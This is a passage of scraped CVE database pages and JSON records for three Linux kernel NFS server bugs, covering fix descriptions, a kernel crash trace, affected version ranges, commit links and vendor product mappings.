                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.7.3",
                  "versionStartIncluding": "5.19",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.8",
                  "versionStartIncluding": "5.19",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionStartIncluding": "4.9.317",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionStartIncluding": "4.14.282",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionStartIncluding": "5.4.197",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionStartIncluding": "5.17.13",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionStartIncluding": "5.18.2",
                  "vulnerable": true
                }
              ],
              "negate": false,
              "operator": "OR"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nnfsd: fix RELEASE_LOCKOWNER\n\nThe test on so_count in nfsd4_release_lockowner() is nonsense and\nharmful.  Revert to using check_for_locks(), changing that to not sleep.\n\nFirst: harmful.\nAs is documented in the kdoc comment for nfsd4_release_lockowner(), the\ntest on so_count can transiently return a false positive resulting in a\nreturn of NFS4ERR_LOCKS_HELD when in fact no locks are held.  This is\nclearly a protocol violation and with the Linux NFS client it can cause\nincorrect behaviour.\n\nIf RELEASE_LOCKOWNER is sent while some other thread is still\nprocessing a LOCK request which failed because, at the time that request\nwas received, the given owner held a conflicting lock, then the nfsd\nthread processing that LOCK request can hold a reference (conflock) to\nthe lock owner that causes nfsd4_release_lockowner() to return an\nincorrect error.\n\nThe Linux NFS client ignores that NFS4ERR_LOCKS_HELD error because it\nnever sends NFS4_RELEASE_LOCKOWNER without first releasing any locks, so\nit knows that the error is impossible.  It assumes the lock owner was in\nfact released so it feels free to use the same lock owner identifier in\nsome later locking request.\n\nWhen it does reuse a lock owner identifier for which a previous RELEASE\nfailed, it will naturally use a lock_seqid of zero.  However the server,\nwhich didn\u0027t release the lock owner, will expect a larger lock_seqid and\nso will respond with NFS4ERR_BAD_SEQID.\n\nSo clearly it is harmful to allow a false positive, which testing\nso_count allows.\n\nThe test is nonsense because ... well... it doesn\u0027t mean anything.\n\nso_count is the sum of three different counts.\n1/ the set of states listed on so_stateids\n2/ the set of active vfs locks owned by any of those states\n3/ various transient counts such as for conflicting locks.\n\nWhen it is tested against \u00272\u0027 it is clear that one of these is the\ntransient reference obtained by find_lockowner_str_locked().  It is not\nclear what the other one is expected to be.\n\nIn practice, the count is often 2 because there is precisely one state\non so_stateids.  If there were more, this would fail.\n\nIn my testing I see two circumstances when RELEASE_LOCKOWNER is called.\nIn one case, CLOSE is called before RELEASE_LOCKOWNER.  That results in\nall the lock states being removed, and so the lockowner being discarded\n(it is removed when there are no more references which usually happens\nwhen the lock state is discarded).  When nfsd4_release_lockowner() finds\nthat the lock owner doesn\u0027t exist, it returns success.\n\nThe other case shows an so_count of \u00272\u0027 and precisely one state listed\nin so_stateid.  It appears that the Linux client uses a separate lock\nowner for each file resulting in one lock state per lock owner, so this\ntest on \u00272\u0027 is safe.  For another client it might not be safe.\n\nSo this patch changes check_for_locks() to use the (newish)\nfind_any_file_locked() so that it doesn\u0027t take a reference on the\nnfs4_file and so never calls nfsd_file_put(), and so never sleeps.  With\nthis check is it safe to restore the use of check_for_locks() rather\nthan testing so_count against the mysterious \u00272\u0027."
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-05-11T20:01:06.179Z",
        "orgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
        "shortName": "Linux"
      },
      "references": [
        {
          "url": "https://git.kernel.org/stable/c/10d75984495f7fe62152c3b0dbfa3f0a6b739c9b"
        },
        {
          "url": "https://git.kernel.org/stable/c/99fb654d01dc3f08b5905c663ad6c89a9d83302f"
        },
        {
          "url": "https://git.kernel.org/stable/c/c6f8b3fcc62725e4129f2c0fd550d022d4a7685a"
        },
        {
          "url": "https://git.kernel.org/stable/c/e4cf8941664cae2f89f0189c29fe2ce8c6be0d03"
        },
        {
          "url": "https://git.kernel.org/stable/c/b7d2eee1f53899b53f069bba3a59a419fc3d331b"
        },
        {
          "url": "https://git.kernel.org/stable/c/8f5b860de87039b007e84a28a5eefc888154e098"
        },
        {
          "url": "https://git.kernel.org/stable/c/edcf9725150e42beeca42d085149f4c88fa97afd"
        }
      ],
      "title": "nfsd: fix RELEASE_LOCKOWNER",
      "x_generator": {
        "engine": "bippy-1.2.0"
      }
    }
  },
  "cveMetadata": {
    "assignerOrgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
    "assignerShortName": "Linux",
    "cveId": "CVE-2024-26629",
    "datePublished": "2024-03-13T14:01:49.452Z",
    "dateReserved": "2024-02-19T14:20:24.135Z",
    "dateUpdated": "2026-05-12T11:49:20.693Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

CVE-2024-47692 (GCVE-0-2024-47692)

Vulnerability from cvelistv5 – Published: 2024-10-21 11:53 – Updated: 2026-05-12 11:58

Title

nfsd: return -EINVAL when namelen is 0

Summary

In the Linux kernel, the following vulnerability has been resolved: nfsd: return -EINVAL when namelen is 0 When we have a corrupted main.sqlite in /var/lib/nfs/nfsdcld/, it may result in namelen being 0, which will cause memdup_user() to return ZERO_SIZE_PTR. When we access the name.data that has been assigned the value of ZERO_SIZE_PTR in nfs4_client_to_reclaim(), null pointer dereference is triggered. [ T1205] ================================================================== [ T1205] BUG: KASAN: null-ptr-deref in nfs4_client_to_reclaim+0xe9/0x260 [ T1205] Read of size 1 at addr 0000000000000010 by task nfsdcld/1205 [ T1205] [ T1205] CPU: 11 PID: 1205 Comm: nfsdcld Not tainted 5.10.0-00003-g2c1423731b8d #406 [ T1205] Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS ?-20190727_073836-buildvm-ppc64le-16.ppc.fedoraproject.org-3.fc31 04/01/2014 [ T1205] Call Trace: [ T1205] dump_stack+0x9a/0xd0 [ T1205] ? nfs4_client_to_reclaim+0xe9/0x260 [ T1205] __kasan_report.cold+0x34/0x84 [ T1205] ? nfs4_client_to_reclaim+0xe9/0x260 [ T1205] kasan_report+0x3a/0x50 [ T1205] nfs4_client_to_reclaim+0xe9/0x260 [ T1205] ? nfsd4_release_lockowner+0x410/0x410 [ T1205] cld_pipe_downcall+0x5ca/0x760 [ T1205] ? nfsd4_cld_tracking_exit+0x1d0/0x1d0 [ T1205] ? down_write_killable_nested+0x170/0x170 [ T1205] ? avc_policy_seqno+0x28/0x40 [ T1205] ? selinux_file_permission+0x1b4/0x1e0 [ T1205] rpc_pipe_write+0x84/0xb0 [ T1205] vfs_write+0x143/0x520 [ T1205] ksys_write+0xc9/0x170 [ T1205] ? __ia32_sys_read+0x50/0x50 [ T1205] ? ktime_get_coarse_real_ts64+0xfe/0x110 [ T1205] ? ktime_get_coarse_real_ts64+0xa2/0x110 [ T1205] do_syscall_64+0x33/0x40 [ T1205] entry_SYSCALL_64_after_hwframe+0x67/0xd1 [ T1205] RIP: 0033:0x7fdbdb761bc7 [ T1205] Code: 0f 00 f7 d8 64 89 02 48 c7 c0 ff ff ff ff eb b7 0f 1f 00 f3 0f 1e fa 64 8b 04 25 18 00 00 00 85 c0 75 10 b8 01 00 00 00 0f 05 <48> 3d 00 f0 ff ff 77 514 [ T1205] RSP: 002b:00007fff8c4b7248 EFLAGS: 00000246 ORIG_RAX: 0000000000000001 [ T1205] RAX: ffffffffffffffda RBX: 000000000000042b RCX: 00007fdbdb761bc7 [ T1205] RDX: 000000000000042b RSI: 00007fff8c4b75f0 RDI: 0000000000000008 [ T1205] RBP: 00007fdbdb761bb0 R08: 0000000000000000 R09: 0000000000000001 [ T1205] R10: 0000000000000000 R11: 0000000000000246 R12: 000000000000042b [ T1205] R13: 0000000000000008 R14: 00007fff8c4b75f0 R15: 0000000000000000 [ T1205] ================================================================== Fix it by checking namelen.

Severity ?

No CVSS data available.

Assigner

Linux

References

8 references

URL	Tags
https://git.kernel.org/stable/c/6d07040ae5c2214e3…
https://git.kernel.org/stable/c/0f1d007bbea38a61c…
https://git.kernel.org/stable/c/b7b7a8df41ef18862…
https://git.kernel.org/stable/c/84a563d136faf514f…
https://git.kernel.org/stable/c/318f70857caab3da9…
https://git.kernel.org/stable/c/766d5fbd78f7a52b3…
https://git.kernel.org/stable/c/1ff8be8d008b9ddc8…
https://git.kernel.org/stable/c/22451a16b7ab7debe…

Impacted products

2 products

Vendor	Product	Version
Linux	Linux	Affected: 74725959c33c14114fdce1e36e3504d106584d53 , < 6d07040ae5c2214e39c7444d898039c9e655a79a (git) Affected: 74725959c33c14114fdce1e36e3504d106584d53 , < 0f1d007bbea38a61cf9c5392708dc70ae9d84a3d (git) Affected: 74725959c33c14114fdce1e36e3504d106584d53 , < b7b7a8df41ef18862dd6b22289fb46c2c12398af (git) Affected: 74725959c33c14114fdce1e36e3504d106584d53 , < 84a563d136faf514fdad1ade28d7a142fd313cb8 (git) Affected: 74725959c33c14114fdce1e36e3504d106584d53 , < 318f70857caab3da9a6ada9bc8c1f4f7591b695e (git) Affected: 74725959c33c14114fdce1e36e3504d106584d53 , < 766d5fbd78f7a52b3888449a0358760477b74602 (git) Affected: 74725959c33c14114fdce1e36e3504d106584d53 , < 1ff8be8d008b9ddc8e7043fbddd37d5d451b271b (git) Affected: 74725959c33c14114fdce1e36e3504d106584d53 , < 22451a16b7ab7debefce660672566be887db1637 (git)
Linux	Linux	Affected: 5.2 Unaffected: 0 , < 5.2 (semver) Unaffected: 5.4.285 , ≤ 5.4.* (semver) Unaffected: 5.10.227 , ≤ 5.10.* (semver) Unaffected: 5.15.168 , ≤ 5.15.* (semver) Unaffected: 6.1.113 , ≤ 6.1.* (semver) Unaffected: 6.6.54 , ≤ 6.6.* (semver) Unaffected: 6.10.13 , ≤ 6.10.* (semver) Unaffected: 6.11.2 , ≤ 6.11.* (semver) Unaffected: 6.12 , ≤ * (original_commit_for_fix)

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2024-47692",
                "options": [
                  {
                    "Exploitation": "none"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2024-10-21T13:05:46.297189Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2024-10-21T13:14:14.991Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "title": "CISA ADP Vulnrichment"
      },
      {
        "providerMetadata": {
          "dateUpdated": "2025-11-03T22:20:56.879Z",
          "orgId": "af854a3a-2127-422b-91ae-364da2661108",
          "shortName": "CVE"
        },
        "references": [
          {
            "url": "https://lists.debian.org/debian-lts-announce/2025/03/msg00002.html"
          },
          {
            "url": "https://lists.debian.org/debian-lts-announce/2025/01/msg00001.html"
          }
        ],
        "title": "CVE Program Container"
      },
      {
        "affected": [
          {
            "defaultStatus": "unknown",
            "product": "RUGGEDCOM RST2428P",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "unaffected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SCALANCE XC-300/XR-300/XC-400/XR-500WG/XR-500 family",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "unaffected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SCALANCE XCM-/XRM-/XCH-/XRH-300 family",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "unaffected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 TM MFP - GNU/Linux subsystem",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-05-12T11:58:13.281Z",
          "orgId": "0b142b55-0307-4c5a-b3c9-f314f3fb7c5e",
          "shortName": "siemens-SADP"
        },
        "references": [
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-265688.html"
          },
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-355557.html"
          }
        ],
        "x_adpType": "supplier"
      }
    ],
    "cna": {
      "affected": [
        {
          "defaultStatus": "unaffected",
          "product": "Linux",
          "programFiles": [
            "fs/nfsd/nfs4recover.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "lessThan": "6d07040ae5c2214e39c7444d898039c9e655a79a",
              "status": "affected",
              "version": "74725959c33c14114fdce1e36e3504d106584d53",
              "versionType": "git"
            },
            {
              "lessThan": "0f1d007bbea38a61cf9c5392708dc70ae9d84a3d",
              "status": "affected",
              "version": "74725959c33c14114fdce1e36e3504d106584d53",
              "versionType": "git"
            },
            {
              "lessThan": "b7b7a8df41ef18862dd6b22289fb46c2c12398af",
              "status": "affected",
              "version": "74725959c33c14114fdce1e36e3504d106584d53",
              "versionType": "git"
            },
            {
              "lessThan": "84a563d136faf514fdad1ade28d7a142fd313cb8",
              "status": "affected",
              "version": "74725959c33c14114fdce1e36e3504d106584d53",
              "versionType": "git"
            },
            {
              "lessThan": "318f70857caab3da9a6ada9bc8c1f4f7591b695e",
              "status": "affected",
              "version": "74725959c33c14114fdce1e36e3504d106584d53",
              "versionType": "git"
            },
            {
              "lessThan": "766d5fbd78f7a52b3888449a0358760477b74602",
              "status": "affected",
              "version": "74725959c33c14114fdce1e36e3504d106584d53",
              "versionType": "git"
            },
            {
              "lessThan": "1ff8be8d008b9ddc8e7043fbddd37d5d451b271b",
              "status": "affected",
              "version": "74725959c33c14114fdce1e36e3504d106584d53",
              "versionType": "git"
            },
            {
              "lessThan": "22451a16b7ab7debefce660672566be887db1637",
              "status": "affected",
              "version": "74725959c33c14114fdce1e36e3504d106584d53",
              "versionType": "git"
            }
          ]
        },
        {
          "defaultStatus": "affected",
          "product": "Linux",
          "programFiles": [
            "fs/nfsd/nfs4recover.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "status": "affected",
              "version": "5.2"
            },
            {
              "lessThan": "5.2",
              "status": "unaffected",
              "version": "0",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.4.*",
              "status": "unaffected",
              "version": "5.4.285",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.10.*",
              "status": "unaffected",
              "version": "5.10.227",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.15.*",
              "status": "unaffected",
              "version": "5.15.168",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.1.*",
              "status": "unaffected",
              "version": "6.1.113",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.6.*",
              "status": "unaffected",
              "version": "6.6.54",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.10.*",
              "status": "unaffected",
              "version": "6.10.13",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.11.*",
              "status": "unaffected",
              "version": "6.11.2",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "*",
              "status": "unaffected",
              "version": "6.12",
              "versionType": "original_commit_for_fix"
            }
          ]
        }
      ],
      "cpeApplicability": [
        {
          "nodes": [
            {
              "cpeMatch": [
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.4.285",
                  "versionStartIncluding": "5.2",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.10.227",
                  "versionStartIncluding": "5.2",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.15.168",
                  "versionStartIncluding": "5.2",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.1.113",
                  "versionStartIncluding": "5.2",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.6.54",
                  "versionStartIncluding": "5.2",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.10.13",
                  "versionStartIncluding": "5.2",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.11.2",
                  "versionStartIncluding": "5.2",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.12",
                  "versionStartIncluding": "5.2",
                  "vulnerable": true
                }
              ],
              "negate": false,
              "operator": "OR"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nnfsd: return -EINVAL when namelen is 0\n\nWhen we have a corrupted main.sqlite in /var/lib/nfs/nfsdcld/, it may\nresult in namelen being 0, which will cause memdup_user() to return\nZERO_SIZE_PTR.\nWhen we access the name.data that has been assigned the value of\nZERO_SIZE_PTR in nfs4_client_to_reclaim(), null pointer dereference is\ntriggered.\n\n[ T1205] ==================================================================\n[ T1205] BUG: KASAN: null-ptr-deref in nfs4_client_to_reclaim+0xe9/0x260\n[ T1205] Read of size 1 at addr 0000000000000010 by task nfsdcld/1205\n[ T1205]\n[ T1205] CPU: 11 PID: 1205 Comm: nfsdcld Not tainted 5.10.0-00003-g2c1423731b8d #406\n[ T1205] Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS ?-20190727_073836-buildvm-ppc64le-16.ppc.fedoraproject.org-3.fc31 04/01/2014\n[ T1205] Call Trace:\n[ T1205]  dump_stack+0x9a/0xd0\n[ T1205]  ? nfs4_client_to_reclaim+0xe9/0x260\n[ T1205]  __kasan_report.cold+0x34/0x84\n[ T1205]  ? nfs4_client_to_reclaim+0xe9/0x260\n[ T1205]  kasan_report+0x3a/0x50\n[ T1205]  nfs4_client_to_reclaim+0xe9/0x260\n[ T1205]  ? nfsd4_release_lockowner+0x410/0x410\n[ T1205]  cld_pipe_downcall+0x5ca/0x760\n[ T1205]  ? nfsd4_cld_tracking_exit+0x1d0/0x1d0\n[ T1205]  ? down_write_killable_nested+0x170/0x170\n[ T1205]  ? avc_policy_seqno+0x28/0x40\n[ T1205]  ? selinux_file_permission+0x1b4/0x1e0\n[ T1205]  rpc_pipe_write+0x84/0xb0\n[ T1205]  vfs_write+0x143/0x520\n[ T1205]  ksys_write+0xc9/0x170\n[ T1205]  ? __ia32_sys_read+0x50/0x50\n[ T1205]  ? ktime_get_coarse_real_ts64+0xfe/0x110\n[ T1205]  ? ktime_get_coarse_real_ts64+0xa2/0x110\n[ T1205]  do_syscall_64+0x33/0x40\n[ T1205]  entry_SYSCALL_64_after_hwframe+0x67/0xd1\n[ T1205] RIP: 0033:0x7fdbdb761bc7\n[ T1205] Code: 0f 00 f7 d8 64 89 02 48 c7 c0 ff ff ff ff eb b7 0f 1f 00 f3 0f 1e fa 64 8b 04 25 18 00 00 00 85 c0 75 10 b8 01 00 00 00 0f 05 \u003c48\u003e 3d 00 f0 ff ff 77 514\n[ T1205] RSP: 002b:00007fff8c4b7248 EFLAGS: 00000246 ORIG_RAX: 0000000000000001\n[ T1205] RAX: ffffffffffffffda RBX: 000000000000042b RCX: 00007fdbdb761bc7\n[ T1205] RDX: 000000000000042b RSI: 00007fff8c4b75f0 RDI: 0000000000000008\n[ T1205] RBP: 00007fdbdb761bb0 R08: 0000000000000000 R09: 0000000000000001\n[ T1205] R10: 0000000000000000 R11: 0000000000000246 R12: 000000000000042b\n[ T1205] R13: 0000000000000008 R14: 00007fff8c4b75f0 R15: 0000000000000000\n[ T1205] ==================================================================\n\nFix it by checking namelen."
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-05-11T20:38:54.966Z",
        "orgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
        "shortName": "Linux"
      },
      "references": [
        {
          "url": "https://git.kernel.org/stable/c/6d07040ae5c2214e39c7444d898039c9e655a79a"
        },
        {
          "url": "https://git.kernel.org/stable/c/0f1d007bbea38a61cf9c5392708dc70ae9d84a3d"
        },
        {
          "url": "https://git.kernel.org/stable/c/b7b7a8df41ef18862dd6b22289fb46c2c12398af"
        },
        {
          "url": "https://git.kernel.org/stable/c/84a563d136faf514fdad1ade28d7a142fd313cb8"
        },
        {
          "url": "https://git.kernel.org/stable/c/318f70857caab3da9a6ada9bc8c1f4f7591b695e"
        },
        {
          "url": "https://git.kernel.org/stable/c/766d5fbd78f7a52b3888449a0358760477b74602"
        },
        {
          "url": "https://git.kernel.org/stable/c/1ff8be8d008b9ddc8e7043fbddd37d5d451b271b"
        },
        {
          "url": "https://git.kernel.org/stable/c/22451a16b7ab7debefce660672566be887db1637"
        }
      ],
      "title": "nfsd: return -EINVAL when namelen is 0",
      "x_generator": {
        "engine": "bippy-1.2.0"
      }
    }
  },
  "cveMetadata": {
    "assignerOrgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
    "assignerShortName": "Linux",
    "cveId": "CVE-2024-47692",
    "datePublished": "2024-10-21T11:53:31.238Z",
    "dateReserved": "2024-09-30T16:00:12.942Z",
    "dateUpdated": "2026-05-12T11:58:13.281Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

CVE-2022-48828 (GCVE-0-2022-48828)

Vulnerability from cvelistv5 – Published: 2024-07-16 11:44 – Updated: 2026-05-12 10:12

Title

NFSD: Fix ia_size underflow

Summary

In the Linux kernel, the following vulnerability has been resolved: NFSD: Fix ia_size underflow iattr::ia_size is a loff_t, which is a signed 64-bit type. NFSv3 and NFSv4 both define file size as an unsigned 64-bit type. Thus there is a range of valid file size values an NFS client can send that is already larger than Linux can handle. Currently decode_fattr4() dumps a full u64 value into ia_size. If that value happens to be larger than S64_MAX, then ia_size underflows. I'm about to fix up the NFSv3 behavior as well, so let's catch the underflow in the common code path: nfsd_setattr().

Severity ?

No CVSS data available.

Assigner

Linux

References

5 references

URL	Tags
https://git.kernel.org/stable/c/d2211e6e34d0755f3…
https://git.kernel.org/stable/c/38d02ba22e43b6fc7…
https://git.kernel.org/stable/c/8e0ecaf7a7e57b302…
https://git.kernel.org/stable/c/da22ca1ad548429d7…
https://git.kernel.org/stable/c/e6faac3f58c7c4176…

Impacted products

2 products

Vendor	Product	Version
Linux	Linux	Affected: 1da177e4c3f41524e886b7f1b8a0c1fc7321cac2 , < d2211e6e34d0755f35e2f8c22d81999fa81cfc71 (git) Affected: 1da177e4c3f41524e886b7f1b8a0c1fc7321cac2 , < 38d02ba22e43b6fc7d291cf724bc6e3b7be6626b (git) Affected: 1da177e4c3f41524e886b7f1b8a0c1fc7321cac2 , < 8e0ecaf7a7e57b30284d6b3289cc436100fadc48 (git) Affected: 1da177e4c3f41524e886b7f1b8a0c1fc7321cac2 , < da22ca1ad548429d7822011c54cfe210718e0aa7 (git) Affected: 1da177e4c3f41524e886b7f1b8a0c1fc7321cac2 , < e6faac3f58c7c4176b66f63def17a34232a17b0e (git)
Linux	Linux	Affected: 2.6.12 Unaffected: 0 , < 2.6.12 (semver) Unaffected: 5.4.295 , ≤ 5.4.* (semver) Unaffected: 5.10.220 , ≤ 5.10.* (semver) Unaffected: 5.15.24 , ≤ 5.15.* (semver) Unaffected: 5.16.10 , ≤ 5.16.* (semver) Unaffected: 5.17 , ≤ * (original_commit_for_fix)

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "providerMetadata": {
          "dateUpdated": "2024-08-03T15:25:01.551Z",
          "orgId": "af854a3a-2127-422b-91ae-364da2661108",
          "shortName": "CVE"
        },
        "references": [
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/38d02ba22e43b6fc7d291cf724bc6e3b7be6626b"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/8e0ecaf7a7e57b30284d6b3289cc436100fadc48"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/da22ca1ad548429d7822011c54cfe210718e0aa7"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/e6faac3f58c7c4176b66f63def17a34232a17b0e"
          }
        ],
        "title": "CVE Program Container"
      },
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2022-48828",
                "options": [
                  {
                    "Exploitation": "none"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2024-09-10T16:57:36.884780Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2024-09-11T17:34:11.355Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "title": "CISA ADP Vulnrichment"
      },
      {
        "affected": [
          {
            "defaultStatus": "unknown",
            "product": "RUGGEDCOM RST2428P",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "unaffected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SCALANCE XC-300/XR-300/XC-400/XR-500WG/XR-500 family",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "unaffected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SCALANCE XCM-/XRM-/XCH-/XRH-300 family",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "unaffected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 TM MFP - GNU/Linux subsystem",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-05-12T10:12:33.658Z",
          "orgId": "0b142b55-0307-4c5a-b3c9-f314f3fb7c5e",
          "shortName": "siemens-SADP"
        },
        "references": [
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-265688.html"
          },
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-355557.html"
          }
        ],
        "x_adpType": "supplier"
      }
    ],
    "cna": {
      "affected": [
        {
          "defaultStatus": "unaffected",
          "product": "Linux",
          "programFiles": [
            "fs/nfsd/vfs.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "lessThan": "d2211e6e34d0755f35e2f8c22d81999fa81cfc71",
              "status": "affected",
              "version": "1da177e4c3f41524e886b7f1b8a0c1fc7321cac2",
              "versionType": "git"
            },
            {
              "lessThan": "38d02ba22e43b6fc7d291cf724bc6e3b7be6626b",
              "status": "affected",
              "version": "1da177e4c3f41524e886b7f1b8a0c1fc7321cac2",
              "versionType": "git"
            },
            {
              "lessThan": "8e0ecaf7a7e57b30284d6b3289cc436100fadc48",
              "status": "affected",
              "version": "1da177e4c3f41524e886b7f1b8a0c1fc7321cac2",
              "versionType": "git"
            },
            {
              "lessThan": "da22ca1ad548429d7822011c54cfe210718e0aa7",
              "status": "affected",
              "version": "1da177e4c3f41524e886b7f1b8a0c1fc7321cac2",
              "versionType": "git"
            },
            {
              "lessThan": "e6faac3f58c7c4176b66f63def17a34232a17b0e",
              "status": "affected",
              "version": "1da177e4c3f41524e886b7f1b8a0c1fc7321cac2",
              "versionType": "git"
            }
          ]
        },
        {
          "defaultStatus": "affected",
          "product": "Linux",
          "programFiles": [
            "fs/nfsd/vfs.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "status": "affected",
              "version": "2.6.12"
            },
            {
              "lessThan": "2.6.12",
              "status": "unaffected",
              "version": "0",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.4.*",
              "status": "unaffected",
              "version": "5.4.295",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.10.*",
              "status": "unaffected",
              "version": "5.10.220",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.15.*",
              "status": "unaffected",
              "version": "5.15.24",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.16.*",
              "status": "unaffected",
              "version": "5.16.10",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "*",
              "status": "unaffected",
              "version": "5.17",
